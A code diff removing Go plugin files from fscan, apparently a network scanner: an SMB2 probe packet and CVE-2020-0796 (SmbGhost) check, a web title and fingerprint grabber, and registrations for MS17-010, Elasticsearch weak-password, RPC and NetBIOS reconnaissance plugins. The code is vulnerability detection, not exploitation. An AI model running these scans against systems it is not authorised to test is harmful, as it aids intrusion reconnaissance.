||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
// 如果开启了暴力破解模式,跳过该检测
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行实际的SMB Ghost漏洞扫描
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
// 设置扫描参数
|
||||
ip := info.Host
|
||||
port := 445 // SMB服务默认端口
|
||||
timeout := time.Duration(common.Timeout) * time.Second
|
||||
|
||||
// 构造目标地址
|
||||
addr := fmt.Sprintf("%s:%v", ip, port)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close() // 确保连接最终被关闭
|
||||
|
||||
// 发送SMB协议探测数据包
|
||||
if _, err = conn.Write([]byte(pkt)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 准备接收响应
|
||||
buff := make([]byte, 1024)
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应数据
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 分析响应数据,检测是否存在漏洞
|
||||
// 检查条件:
|
||||
// 1. 响应包含"Public"字符串
|
||||
// 2. 响应长度大于等于76字节
|
||||
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
|
||||
// 发现漏洞,记录结果
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
@ -1,15 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/webscan"
|
||||
)
|
||||
|
||||
// WebPoc 直接执行Web漏洞扫描
|
||||
func WebPoc(info *common.HostInfo) error {
|
||||
if common.DisablePocScan {
|
||||
return nil
|
||||
}
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
@ -1,557 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
"github.com/shadow1ng/fscan/webscan"
|
||||
"github.com/shadow1ng/fscan/webscan/lib"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
// 常量定义
|
||||
const (
|
||||
maxTitleLength = 100
|
||||
defaultProtocol = "http"
|
||||
httpsProtocol = "https"
|
||||
httpProtocol = "http"
|
||||
printerFingerPrint = "打印机"
|
||||
emptyTitle = "\"\""
|
||||
noTitleText = "无标题"
|
||||
|
||||
// HTTP相关常量
|
||||
httpPort = "80"
|
||||
httpsPort = "443"
|
||||
contentEncoding = "Content-Encoding"
|
||||
gzipEncoding = "gzip"
|
||||
contentLength = "Content-Length"
|
||||
)
|
||||
|
||||
// 错误定义
|
||||
var (
|
||||
ErrNoTitle = fmt.Errorf("无法获取标题")
|
||||
ErrHTTPClientInit = fmt.Errorf("HTTP客户端未初始化")
|
||||
ErrReadRespBody = fmt.Errorf("读取响应内容失败")
|
||||
)
|
||||
|
||||
// 响应结果
|
||||
type WebResponse struct {
|
||||
Url string
|
||||
StatusCode int
|
||||
Title string
|
||||
Length string
|
||||
Headers map[string]string
|
||||
RedirectUrl string
|
||||
Body []byte
|
||||
Error error
|
||||
}
|
||||
|
||||
// 协议检测结果
|
||||
type ProtocolResult struct {
|
||||
Protocol string
|
||||
Success bool
|
||||
}
|
||||
|
||||
// WebTitle 获取Web标题和指纹信息
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
if info == nil {
|
||||
return fmt.Errorf("主机信息为空")
|
||||
}
|
||||
|
||||
// 初始化Url
|
||||
if err := initializeUrl(info); err != nil {
|
||||
common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 获取网站标题信息
|
||||
checkData, err := fetchWebInfo(info)
|
||||
if err != nil {
|
||||
// 记录错误但继续处理可能获取的数据
|
||||
common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
|
||||
}
|
||||
|
||||
// 分析指纹
|
||||
if len(checkData) > 0 {
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &checkData)
|
||||
|
||||
// 检查是否为打印机,避免意外打印
|
||||
for _, v := range info.Infostr {
|
||||
if v == printerFingerPrint {
|
||||
common.LogBase("检测到打印机,停止扫描")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// 初始化Url:根据主机和端口生成完整Url
|
||||
func initializeUrl(info *common.HostInfo) error {
|
||||
if info.Url == "" {
|
||||
// 根据端口推断Url
|
||||
switch info.Ports {
|
||||
case httpPort:
|
||||
info.Url = fmt.Sprintf("%s://%s", httpProtocol, info.Host)
|
||||
case httpsPort:
|
||||
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol, err := detectProtocol(host, common.Timeout)
|
||||
if err != nil {
|
||||
return fmt.Errorf("协议检测失败: %w", err)
|
||||
}
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else if !strings.Contains(info.Url, "://") {
|
||||
// 处理未指定协议的Url
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol, err := detectProtocol(host, common.Timeout)
|
||||
if err != nil {
|
||||
return fmt.Errorf("协议检测失败: %w", err)
|
||||
}
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取Web信息:标题、指纹等
|
||||
func fetchWebInfo(info *common.HostInfo) ([]WebScan.CheckDatas, error) {
|
||||
var checkData []WebScan.CheckDatas
|
||||
|
||||
// 记录原始Url协议
|
||||
originalUrl := info.Url
|
||||
isHTTPS := strings.HasPrefix(info.Url, "https://")
|
||||
|
||||
// 第一次尝试访问Url
|
||||
resp, err := fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 处理不同的错误情况
|
||||
if err != nil {
|
||||
// 如果是HTTPS并失败,尝试降级到HTTP
|
||||
if isHTTPS {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 如果HTTP也失败,恢复原始Url并返回错误
|
||||
if err != nil {
|
||||
info.Url = originalUrl
|
||||
return checkData, err
|
||||
}
|
||||
} else {
|
||||
return checkData, err
|
||||
}
|
||||
}
|
||||
|
||||
// 处理重定向
|
||||
if resp != nil && resp.RedirectUrl != "" {
|
||||
info.Url = resp.RedirectUrl
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
|
||||
// 如果重定向后失败,尝试降级协议
|
||||
if err != nil && strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
}
|
||||
}
|
||||
|
||||
// 处理需要升级到HTTPS的情况
|
||||
if resp != nil && resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 如果HTTPS升级失败,回退到HTTP
|
||||
if err != nil {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
}
|
||||
|
||||
// 处理升级后的重定向
|
||||
if resp != nil && resp.RedirectUrl != "" {
|
||||
info.Url = resp.RedirectUrl
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
}
|
||||
}
|
||||
|
||||
return checkData, err
|
||||
}
|
||||
|
||||
// 尝试获取Url,支持重试
|
||||
func fetchUrlWithRetry(info *common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
|
||||
// 获取页面内容
|
||||
resp, err := fetchUrl(info.Url, followRedirect)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 保存检查数据
|
||||
if resp.Body != nil && len(resp.Body) > 0 {
|
||||
headers := fmt.Sprintf("%v", resp.Headers)
|
||||
*checkData = append(*checkData, WebScan.CheckDatas{
|
||||
Body: resp.Body,
|
||||
Headers: headers,
|
||||
})
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
if resp.StatusCode > 0 {
|
||||
saveWebResult(info, resp)
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// 抓取Url内容
|
||||
func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
|
||||
// 创建HTTP请求
|
||||
req, err := http.NewRequest("GET", targetUrl, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
req.Header.Set("User-agent", common.UserAgent)
|
||||
req.Header.Set("Accept", common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Cookie != "" {
|
||||
req.Header.Set("Cookie", common.Cookie)
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
// 选择HTTP客户端
|
||||
var client *http.Client
|
||||
if followRedirect {
|
||||
client = lib.Client
|
||||
} else {
|
||||
client = lib.ClientNoRedirect
|
||||
}
|
||||
|
||||
if client == nil {
|
||||
return nil, ErrHTTPClientInit
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
// 特殊处理SSL/TLS相关错误
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if strings.Contains(errMsg, "tls") || strings.Contains(errMsg, "ssl") ||
|
||||
strings.Contains(errMsg, "handshake") || strings.Contains(errMsg, "certificate") {
|
||||
return &WebResponse{Error: err}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 准备响应结果
|
||||
result := &WebResponse{
|
||||
Url: req.URL.String(),
|
||||
StatusCode: resp.StatusCode,
|
||||
Headers: make(map[string]string),
|
||||
}
|
||||
|
||||
// 提取响应头
|
||||
for k, v := range resp.Header {
|
||||
if len(v) > 0 {
|
||||
result.Headers[k] = v[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 获取内容长度
|
||||
result.Length = resp.Header.Get(contentLength)
|
||||
|
||||
// 检查重定向
|
||||
redirectUrl, err := resp.Location()
|
||||
if err == nil {
|
||||
result.RedirectUrl = redirectUrl.String()
|
||||
}
|
||||
|
||||
// 读取响应内容
|
||||
body, err := readResponseBody(resp)
|
||||
if err != nil {
|
||||
return result, fmt.Errorf("读取响应内容失败: %w", err)
|
||||
}
|
||||
result.Body = body
|
||||
|
||||
// 提取标题
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
result.Title = extractTitle(body)
|
||||
|
||||
if result.Length == "" {
|
||||
result.Length = fmt.Sprintf("%d", len(body))
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 读取HTTP响应体内容
|
||||
func readResponseBody(resp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
var reader io.Reader = resp.Body
|
||||
|
||||
// 处理gzip压缩的响应
|
||||
if resp.Header.Get(contentEncoding) == gzipEncoding {
|
||||
gr, err := gzip.NewReader(resp.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建gzip解压器失败: %w", err)
|
||||
}
|
||||
defer gr.Close()
|
||||
reader = gr
|
||||
}
|
||||
|
||||
// 读取内容
|
||||
body, err := io.ReadAll(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取响应内容失败: %w", err)
|
||||
}
|
||||
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// 提取网页标题
|
||||
func extractTitle(body []byte) string {
|
||||
// 使用正则表达式匹配title标签内容
|
||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
|
||||
if len(find) > 1 {
|
||||
title := string(find[1])
|
||||
|
||||
// 清理标题内容
|
||||
title = strings.TrimSpace(title)
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
|
||||
// 截断过长的标题
|
||||
if len(title) > maxTitleLength {
|
||||
title = title[:maxTitleLength]
|
||||
}
|
||||
|
||||
// 处理空标题
|
||||
if title == "" {
|
||||
return emptyTitle
|
||||
}
|
||||
|
||||
return title
|
||||
}
|
||||
|
||||
return noTitleText
|
||||
}
|
||||
|
||||
// 保存Web扫描结果
|
||||
func saveWebResult(info *common.HostInfo, resp *WebResponse) {
|
||||
// 处理指纹信息
|
||||
fingerprints := info.Infostr
|
||||
if len(fingerprints) == 1 && fingerprints[0] == "" {
|
||||
fingerprints = []string{}
|
||||
}
|
||||
|
||||
// 准备服务器信息
|
||||
serverInfo := make(map[string]interface{})
|
||||
serverInfo["title"] = resp.Title
|
||||
serverInfo["length"] = resp.Length
|
||||
serverInfo["status_code"] = resp.StatusCode
|
||||
|
||||
// 添加响应头信息
|
||||
for k, v := range resp.Headers {
|
||||
serverInfo[strings.ToLower(k)] = v
|
||||
}
|
||||
|
||||
// 添加重定向信息
|
||||
if resp.RedirectUrl != "" {
|
||||
serverInfo["redirect_Url"] = resp.RedirectUrl
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeService,
|
||||
Target: info.Host,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "http",
|
||||
"title": resp.Title,
|
||||
"Url": resp.Url,
|
||||
"status_code": resp.StatusCode,
|
||||
"length": resp.Length,
|
||||
"server_info": serverInfo,
|
||||
"fingerprints": fingerprints,
|
||||
},
|
||||
}
|
||||
common.SaveResult(result)
|
||||
|
||||
// 输出控制台日志
|
||||
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Url, resp.StatusCode, resp.Length, resp.Title)
|
||||
|
||||
if resp.RedirectUrl != "" {
|
||||
logMsg += fmt.Sprintf(" 重定向地址: %s", resp.RedirectUrl)
|
||||
}
|
||||
|
||||
if len(fingerprints) > 0 {
|
||||
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
|
||||
}
|
||||
|
||||
common.LogInfo(logMsg)
|
||||
}
|
||||
|
||||
// 检测目标主机的协议类型(HTTP/HTTPS)
|
||||
func detectProtocol(host string, timeout int64) (string, error) {
|
||||
// 根据标准端口快速判断协议
|
||||
if strings.HasSuffix(host, ":"+httpPort) {
|
||||
return httpProtocol, nil
|
||||
} else if strings.HasSuffix(host, ":"+httpsPort) {
|
||||
return httpsProtocol, nil
|
||||
}
|
||||
|
||||
timeoutDuration := time.Duration(timeout) * time.Second
|
||||
ctx, cancel := context.WithTimeout(context.Background(), timeoutDuration)
|
||||
defer cancel()
|
||||
|
||||
// 并发检测HTTP和HTTPS
|
||||
resultChan := make(chan ProtocolResult, 2)
|
||||
wg := sync.WaitGroup{}
|
||||
wg.Add(2)
|
||||
|
||||
// 检测HTTPS
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
success := checkHTTPS(host, timeoutDuration/2)
|
||||
select {
|
||||
case resultChan <- ProtocolResult{httpsProtocol, success}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
// 检测HTTP
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
success := checkHTTP(ctx, host, timeoutDuration/2)
|
||||
select {
|
||||
case resultChan <- ProtocolResult{httpProtocol, success}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
// 确保所有goroutine正常退出
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 收集结果
|
||||
var httpsResult, httpResult *ProtocolResult
|
||||
|
||||
for result := range resultChan {
|
||||
if result.Protocol == httpsProtocol {
|
||||
r := result
|
||||
httpsResult = &r
|
||||
} else if result.Protocol == httpProtocol {
|
||||
r := result
|
||||
httpResult = &r
|
||||
}
|
||||
}
|
||||
|
||||
// 决定使用哪种协议 - 优先使用HTTPS
|
||||
if httpsResult != nil && httpsResult.Success {
|
||||
return httpsProtocol, nil
|
||||
} else if httpResult != nil && httpResult.Success {
|
||||
return httpProtocol, nil
|
||||
}
|
||||
|
||||
// 默认使用HTTP
|
||||
return defaultProtocol, nil
|
||||
}
|
||||
|
||||
// 检测HTTPS协议
|
||||
func checkHTTPS(host string, timeout time.Duration) bool {
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
MinVersion: tls.VersionTLS10,
|
||||
}
|
||||
|
||||
dialer := &net.Dialer{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
conn, err := tls.DialWithDialer(dialer, "tcp", host, tlsConfig)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
// 分析TLS错误,某些错误可能表明服务器支持TLS但有其他问题
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
return strings.Contains(errMsg, "handshake failure") ||
|
||||
strings.Contains(errMsg, "certificate") ||
|
||||
strings.Contains(errMsg, "tls") ||
|
||||
strings.Contains(errMsg, "x509") ||
|
||||
strings.Contains(errMsg, "secure")
|
||||
}
|
||||
|
||||
// 检测HTTP协议
|
||||
func checkHTTP(ctx context.Context, host string, timeout time.Duration) bool {
|
||||
req, err := http.NewRequestWithContext(ctx, "HEAD", fmt.Sprintf("http://%s", host), nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
DialContext: (&net.Dialer{
|
||||
Timeout: timeout,
|
||||
}).DialContext,
|
||||
},
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse // 不跟随重定向
|
||||
},
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err == nil {
|
||||
resp.Body.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
// 尝试原始TCP连接和简单HTTP请求
|
||||
netConn, err := net.DialTimeout("tcp", host, timeout)
|
||||
if err == nil {
|
||||
defer netConn.Close()
|
||||
netConn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 发送简单HTTP请求
|
||||
_, err = netConn.Write([]byte("HEAD / HTTP/1.0\r\nHost: " + host + "\r\n\r\n"))
|
||||
if err == nil {
|
||||
// 读取响应
|
||||
buf := make([]byte, 1024)
|
||||
netConn.SetDeadline(time.Now().Add(timeout))
|
||||
n, err := netConn.Read(buf)
|
||||
if err == nil && n > 0 {
|
||||
response := string(buf[:n])
|
||||
return strings.Contains(response, "HTTP/")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package elasticsearch
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewElasticsearchPlugin 创建Elasticsearch弱密码检测插件
|
||||
func NewElasticsearchPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "elasticsearch",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Elasticsearch搜索引擎弱密码检测和未授权访问检测",
|
||||
Category: "service",
|
||||
Ports: []int{9200, 9300}, // Elasticsearch端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"elasticsearch", "weak-password", "unauthorized", "service"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: true, // Elasticsearch依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这是服务检测插件,虽然包含安全检查
|
||||
IsInfoPlugin: true, // 包含信息收集功能
|
||||
CustomPorts: []int{9200, 9300}, // Elasticsearch端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的ElasticScan函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.ElasticScan, options)
|
||||
}
|
||||
|
||||
// init 自动注册Elasticsearch插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "elasticsearch",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Elasticsearch搜索引擎弱密码检测和未授权访问检测",
|
||||
Category: "service",
|
||||
Ports: []int{9200, 9300},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"elasticsearch", "weak-password", "unauthorized", "service"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewElasticsearchPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("elasticsearch", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package findnet
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewFindNetPlugin 创建FindNet网络发现插件
|
||||
func NewFindNetPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "findnet",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows网络接口发现和主机名解析 (通过RPC)",
|
||||
Category: "service",
|
||||
Ports: []int{135}, // RPC端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"findnet", "rpc", "information-gathering", "windows", "network-discovery"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // FindNet不依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这不是漏洞检测插件
|
||||
IsInfoPlugin: true, // 这是信息收集插件
|
||||
CustomPorts: []int{135}, // RPC端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的Findnet函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.Findnet, options)
|
||||
}
|
||||
|
||||
// init 自动注册FindNet插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "findnet",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows网络接口发现和主机名解析 (通过RPC)",
|
||||
Category: "service",
|
||||
Ports: []int{135},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"findnet", "rpc", "information-gathering", "windows", "network-discovery"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewFindNetPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("findnet", factory)
|
||||
}
|
@ -1,3 +0,0 @@
|
||||
// Package Plugins contains legacy plugin implementations that are adapted to new architecture
|
||||
// These plugins are accessed through adapters to maintain compatibility
|
||||
package Plugins
|
@ -1,54 +0,0 @@
|
||||
package ms17010
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewMS17010Plugin 创建MS17010漏洞检测插件
|
||||
func NewMS17010Plugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "ms17010",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "MS17010 SMB远程代码执行漏洞检测 (EternalBlue)",
|
||||
Category: "service",
|
||||
Ports: []int{445}, // SMB端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "ms17010", "eternalblue", "vulnerability"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // MS17010不依赖暴力破解标志
|
||||
IsVulnPlugin: true, // 这是漏洞检测插件
|
||||
IsInfoPlugin: false,
|
||||
CustomPorts: []int{445}, // 固定使用SMB端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的MS17010函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.MS17010, options)
|
||||
}
|
||||
|
||||
// init 自动注册MS17010插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "ms17010",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "MS17010 SMB远程代码执行漏洞检测 (EternalBlue)",
|
||||
Category: "service",
|
||||
Ports: []int{445},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "ms17010", "eternalblue", "vulnerability"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewMS17010Plugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("ms17010", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package netbios
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewNetBiosPlugin 创建NetBIOS信息收集插件
|
||||
func NewNetBiosPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "netbios",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "NetBIOS信息收集和主机名解析",
|
||||
Category: "service",
|
||||
Ports: []int{137, 139}, // NetBIOS端口
|
||||
Protocols: []string{"tcp", "udp"},
|
||||
Tags: []string{"netbios", "information-gathering", "hostname"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // NetBIOS信息收集不依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这不是漏洞检测插件
|
||||
IsInfoPlugin: true, // 这是信息收集插件
|
||||
CustomPorts: []int{137, 139}, // NetBIOS端口
|
||||
}
|
||||
|
||||
